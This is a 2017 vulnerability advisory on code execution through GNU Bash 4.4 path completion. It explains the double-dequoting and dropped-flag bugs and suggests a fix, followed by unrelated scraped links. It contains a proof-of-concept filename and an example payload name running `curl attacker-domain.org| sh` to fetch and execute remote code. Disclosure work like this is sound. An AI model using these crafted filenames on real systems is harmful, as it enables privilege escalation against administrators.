GNU Bash code execution vulnerability in path completion Jens Heyens, Ben Stock January 2017

1

Introduction

GNU Bash from version 4.4 contains two bugs in its path completion feature leading to a code execution vulnerability. An exploit can be realized by creating a file or directory with a specially crafted name. A user utilizing GNU Bash’s built-in path completion by hitting the Tab button (f.e. to remove it with rm) triggers the exploit without executing a command itself. The vulnerability has been introduced on the devel-branch in May 2015.

2

Description

The vulnerability occurs if a file with an opening double quote character(") followed by GNU Bash’s built-in command substitution feature (Either ‘‘ or $()) is created. The double quote does not need to be closed. If a user tries to use the autocomplete feature, the command is being executed (if it does not contain a slash(/ ) character): [ h e y e n s @ b e o w u l f ] $ t o u c h ’ ” ‘ t o u c h HereBeDragons ‘ ’ [ heyens@beowulf ] $ l s −l t insgesamt 0 −rw−r−−r−− 1 h e y e n s h e y e n s 0 1 7 . Jan 1 6 : 0 3 ’ ” ‘ t o u c h HereBeDragons ‘ ’ [ h e y e n s @ b e o w u l f ] $ rm \ ” \ ‘ t o u c h \ HereBeDragons \ ‘ ˆC [ heyens@beowulf ] $ l s −l t insgesamt 0 −rw−r−−r−− 1 h e y e n s h e y e n s 0 1 7 . Jan 1 6 : 0 4 HereBeDragons −rw−r−−r−− 1 h e y e n s h e y e n s 0 1 7 . Jan 1 6 : 0 3 ’ ” ‘ t o u c h HereBeDragons ‘ ’

1

3

Cause

This vulnerability has been introduced on the devel-branch in commit 74b8cbb41398b4453d8ba04d0cdd1b25f9dcb9e3 [1] and has first been inserted into the 4.4 stable version. Code locations below refer to this commit hash. There are two functions of GNU Bash’s C code leading to this vulnerability the authors considers bugs. For the sake of the argument, let us assume the attacker managed to store a file called "‘foo‘ on disk.

3.1

Double dequoting of dirname

In the function bash filename stat hook, the code to check whether a file exists was previously inlined. In the commit, a call to directory exists replaces this check (both bashline.c): 3121 3122 3123 3124 3125 3126 3127 3128 3129 3130

e l s e i f ( t = mbschr ( l o c a l d i r n a m e , should expand dirname = ’ ‘ ’ ;

’ ‘ ’))

/∗ XXX ∗/

i f ( s h o u l d e x p a n d d i r n a m e && d i r e c t o r y e x i s t s ( l o c a l d i r n a m e ) ) should expand dirname = 0; i f ( should expand dirname ) { new dirname = s a v e s t r i n g ( l o c a l d i r n a m e ) ; wl = e x p a n d p r o m p t s t r i n g ( new dirname , 0 , W NOCOMSUB) ; t h e r i g h t t h i n g ∗/

/∗ d o e s

Following that call, we observe that the parameter dirname is dequoted. However, at this point for a filename to be completed, quotes are already removed. 3092 3093 3094 3095 3096 3097 3098 3099 3100 3101 3102 3103

/∗ F i r s t , d e q u o t e t h e d i r e c t o r y name ∗/ n e w d i r n a m e = b a s h d e q u o t e f i l e n a m e ( dirname , rl completion quote character ) ; d i r l e n = STRLEN ( n e w d i r n a m e ) ; i f ( n e w d i r n a m e [ d i r l e n − 1 ] == ’ / ’ ) n e w d i r n a m e [ d i r l e n − 1 ] = ’ \0 ’ ; # i f d e f i n e d (HAVE LSTAT) r = l s t a t ( new dirname , &s b ) == 0 ; #e l s e r = s t a t ( new dirname , &s b ) == 0 ; #e n d i f f r e e ( new dirname ) ; return ( r ) ;

In essence, this means that if the dirname contains a double quote, this will be removed inside directory exists before (l)stat is called. Considering our original input, this means that new dirname contains ‘foo‘. This results in the function to return 0, since no file with the stripped name exists. Going back to the previous function, we observe that in case should expand dirname is not zero, expand prompt string is called with the directory name (line 3130). This happens in our case: the file appears to not have been found and we included a ‘ in its path. However, the correct parameter is passed to ensure that no command substitution is supposed to occur (W NOCOMSUB). This function basically passes these parameters to expand word internal (subst.c:8601) and, 2

as we’ll show in a minute, does not actually ‘[do] the right thing’.

3.2

Flags not being forwarded in expand word internal

Looking at the source code of expand word internal, we observe that it has different case statements to handle, among others, quoted strings. We look at the following snippet, starting at subst.c:9009: 9009 9010 9011 9012 9013 9014 9015 9016 9017 9018 9019 9020 9021 9022 9023 9024 9025 9026 9027 9028 9029 9030 9031

case ’” ’ : i f ( ( q u o t e d & (Q DOUBLE QUOTES | Q HERE DOCUMENT) ) && ( ( q u o t e d & Q ARITH ) == 0 ) ) goto a d d c h a r a c t e r ; t i n d e x = ++s i n d e x ; temp = s t r i n g e x t r a c t d o u b l e q u o t e d ( s t r i n g , &s i n d e x , 0 ) ; /∗ I f t h e q u o t e s s u r r o u n d e d t h e e n t i r e s t r i n g , t h e n t h e w h o l e word was q u o t e d . ∗/ q u o t e d s t a t e = ( t i n d e x == 1 && s t r i n g [ s i n d e x ] == ’ \0 ’ ) ? WHOLLY QUOTED : PARTIALLY QUOTED ; i f ( temp && ∗ temp ) { tword = a l l o c w o r d d e s c ( ) ; tword−>word = temp ; temp = ( c h a r ∗ )NULL ; temp has dollar at = 0; /∗ XXX ∗/ /∗ Need t o g e t W HASQUOTEDNULL f l a g t h r o u g h t h i s f u n c t i o n . ∗/ l i s t = e x p a n d w o r d i n t e r n a l ( tword , Q DOUBLE QUOTES , 0 , & t e m p h a s d o l l a r a t , ( i n t ∗ )NULL) ;

In line 9014, everything between opening (and optionally closing) quotes is extracted. In line 9024, a new WORD DESC struct is allocated and the corresponding word field is set accordingly. However, the flags field is never set. In essence, even though W NOCOMSUB was set for the original string, this flag is not carried on to the newly created string. In line 9031, expand word internal is called recursively. In this case however, it will be passed ‘foo‘ without any restrictions on command substitution, resulting in the attacker’s command being executed with the privileges of the user who ran bash.

4

Impact

We consider the impact of this flaw very high. Assuming an attacker has unprivileged account on a system, dropping a single file with the crafted name into a directory and asking an admin to investigate will elevate his privileges. Even though the vulnerability does not allow for a slash to be contained in the filename, exploitation is trivial: some-very-long-string-nobody-is-going-to-type"‘curl attacker-domain.org| sh‘.

3

5

Potential fix

The issue is related to two separate bugs. Without deeper knowledge of the code base, we can only guess that passing the flags when recursively calling expand word internal should suffice to fix the issue. Nevertheless, the dequoting in directory exists in combination with a previously dequoted string should be easily fixable as well.

References [1] GNU project. GNU Bash at Savannah git (devel branch). Available at http://git.savannah.gnu.org/cgit/bash.git/commit/?h=devel&id= 74b8cbb41398b4453d8ba04d0cdd1b25f9dcb9e3. Accessed: 2017-01-17.

4

GNU Bash code execution vulnerability in path completion - GitHub

Jan 17, 2017 - In the commit, a call to directory exists replaces this check (both ... Following that call, we observe that the parameter dirname is dequoted.

210KB Sizes 0 Downloads 222 Views

Recommend Documents

GNU gdb Tutorial - GitHub
The apropos command can be used to find commands. 3. Basic Debugging .... exist in your program; they are assigned by GDB to give you a way of designating ...

Misconception About GNU/Linux - GitHub
You don't have to be a Computer geek to Use GNU/Linux. ○. Anyone Can Use ... Stable Linux Distributions need no Maintenance at all. ○. Since root access ...

Symbolic Execution - GitHub
SymDroid, Cloud9, Pex, jCUTE, Java PathFinder,. KLEE, s2e ... The final code should be readable and easy to ... PDF-1.2++++++++++++++++++++++++++++++ ...

Instruction converting apparatus using parallel execution code
Nov 24, 2003 - S. 1. t. ?l f. 1 t h h. t the ?rst unit ?eld to the s-ltA unit ?eld in the parallel execu ee app 10a Ion e or Comp 6 e Seam 15 Dry' tion code, and the ...

Instruction converting apparatus using parallel execution code
Nov 24, 2003 - vm MmQOUQZOCUDMPmZH QZOUm mEPOO

RakNet Code Execution Details.pdf
There was a problem previewing this document. Retrying... Download. Connect more apps... Try one of the apps below to open or edit this item. RakNet Code ...

Code Library - GitHub
Sep 13, 2013 - Contents. 1 Data Structure. 1. 1.1 atlantis . .... 4.25 Second-best MST . ...... prime is good. 10 static const int MAXX=47111; // bigger than. √ c. 11.

The Pirate Copyright Code - GitHub
law should be in the information age not the way it has to be to satisfy the last milleniums ... subsequent exploitation regulations for the case the economic rights expired with the author still ..... dicial proceedings or public security; c. use fo

101 Ruby Code Factoids - GitHub
You can add the current directory to your load path with: .... Apple.chew. # => "munch munch" def Apple.cut. "chop chop" end. Apple.cut ..... 61) Method#owner.

A stochastic path tracer implementation - GitHub
Computing the ray direction in specular surfaces (mirrors). Law of reflection . Fresnel equation (Schlick Approx.) R(θ) ≈ R0 + (1 − R0)(1 − cos(θ))5. Direction of ...

Old school code audit? - GitHub
Awesome week! * Hack anything you want. * Just boring code audit? No shit--->. * Telco sec shit are looks awesome. Step-1: Software defined radio-->listen to ...

Forgetting in Primed Fragment Completion
Experiments 3 and 4 provided further evidence of forgetting over 1 week. Experiment 5 ...... instructed (a) to copy each word onto a blank line beside the word,. (b) to make a ... 26 of these subjects, when contacted by telephone, agreed to partici-

GNU Octave
manuals, published by the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,. Boston ...... Search for the string str in all of the functions found in the function search path. By ..... because the keyword function was misspelled. .....

GNU Octave
Laboratory, for registering the octave.org domain name. .... form is also available from the Octave prompt, because both forms of the documentation ..... Search for the string str in all of the functions found in the function search path. By.

Bash Guide for Beginners
Feb 6, 2003 - Chapter 6:Awk: introduction to the awk programming language. •. Chapter 7: ...... specific conversion script for my html files to php. LIST="$(ls ...

GNU Octave
Bill Lash. Dirk Laurie. Maurice LeBrun. Friedrich Leisch. Benjamin Lindner ...... byte order on values, converting from little endian to big endian and visa-versa.

Vulnerability in Intimate Relationships.pdf
Sign in. Loading… Whoops! There was a problem loading more pages. Retrying... Whoops! There was a problem previewing this document. Retrying... Download. Connect more apps... Try one of the apps below to open or edit this item. Vulnerability in Int

Bash Guide for Beginners
Feb 6, 2003 - Understand naming conventions for devices, partitioning, ..... Even the first process, init, with process ID 1, is forked during the ..... Add the directory to the contents of the PATH variable: ...... michel ~/test> feed.sh apple camel

Open Source Code Serving Endangered Languages - GitHub
ten called low-resource, under-resourced, or minority lan- guages) ... Our list is updatable more ... favorites on other social media sites, and, generally, a good.

Bash Reference Manual
Dec 23, 2009 - 3.7.2 Command Search and Execution . .... 8.4.2 Commands For Manipulating The History . .... The value returned by a command to its caller.

Custom execution environments in the BOINC middleware
such as VMWare[6] and Xen[2], or application level sandboxes such as Native ..... B. Customizable execution environments with virtual desktop grid computing.

Marching Up and Down the Code - GitHub
CONTENTS. 0 Starting with Python's IDLE. 1. 0.0 Introduction . ..... Knowing how to program a computer is a great skill to have, even if you are not a ..... need to take the value of age from the present year, 2015, and then add on 100. ..... Draw a